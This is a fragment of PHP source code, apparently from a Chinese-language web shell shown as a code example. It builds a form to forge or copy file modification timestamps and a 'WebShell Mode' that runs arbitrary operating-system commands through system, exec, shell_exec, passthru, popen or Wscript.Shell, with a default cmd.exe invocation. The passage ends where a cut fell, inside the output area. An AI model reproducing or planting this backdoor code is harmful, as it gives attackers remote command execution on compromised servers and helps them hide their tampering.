Ejemplo n.º 1
0
    $tb->tableheader();
    $tb->formheader($action, '克隆文件最后修改时间');
    $tb->tdbody("修改文件: " . $tb->makeinput('curfile', $file, 'readonly') . " → 目标文件: " . $tb->makeinput('tarfile', '需填完整路径及文件名'), 'center', '2', '30');
    $tb->makehidden('do', 'domodtime');
    $tb->formfooter('', '30');
    $tb->formheader($action, '自定义文件最后修改时间');
    $tb->tdbody('<br><ul><li>有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日 星期五 20:45:54 到 2038年 1 月 19 日 星期二 03:14:07<br>(该日期根据 32 位有符号整数的最小值和最大值而来)</li><li>说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!</li></ul>', 'left');
    $tb->tdbody('当前文件名: ' . $file);
    $tb->makehidden('curfile', $file);
    $tb->tdbody('修改为: ' . $tb->makeinput('year', '1984', '', 'text', '4') . ' 年 ' . $tb->makeselect(array('name' => 'month', 'option' => $cachemonth, 'selected' => 'October')) . ' 月 ' . $tb->makeinput('data', '18', '', 'text', '2') . ' 日 ' . $tb->makeinput('hour', '20', '', 'text', '2') . ' 时 ' . $tb->makeinput('minute', '00', '', 'text', '2') . ' 分 ' . $tb->makeinput('second', '00', '', 'text', '2') . ' 秒', 'center', '2', '30');
    $tb->makehidden('do', 'modmytime');
    $tb->formfooter('1', '30');
} elseif ($_GET['action'] == "shell") {
    $action = "??action=shell&dir=" . urlencode($dir);
    $tb->tableheader();
    $tb->tdheader('WebShell Mode');
    if (substr(PHP_OS, 0, 3) == 'WIN') {
        $program = isset($_POST['program']) ? $_POST['program'] : "c:\\winnt\\system32\\cmd.exe";
        $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > " . $pathname . "/log.txt";
        echo "<form action=\"?action=shell&dir=" . urlencode($dir) . "\" method=\"POST\">\n";
        $tb->tdbody('无回显运行程序 → 文件: ' . $tb->makeinput('program', $program) . ' 参数: ' . $tb->makeinput('prog', $prog, '', 'text', '40') . ' ' . $tb->makeinput('', 'Run', '', 'submit'), 'center', '2', '35');
        $tb->makehidden('do', 'programrun');
        echo "</form>\n";
    }
    echo "<form action=\"?action=shell&dir=" . urlencode($dir) . "\" method=\"POST\">\n";
    $tb->tdbody('提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容.');
    $execfuncs = substr(PHP_OS, 0, 3) == 'WIN' ? array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen', 'wscript' => 'Wscript.Shell') : array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen');
    $tb->tdbody('选择执行函数: ' . $tb->makeselect(array('name' => 'execfunc', 'option' => $execfuncs, 'selected' => $execfunc)) . ' 输入命令: ' . $tb->makeinput('command', $_POST['command'], '', 'text', '60') . ' ' . $tb->makeinput('', 'Run', '', 'submit'));
    ?>
  <tr class="secondalt">
    <td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php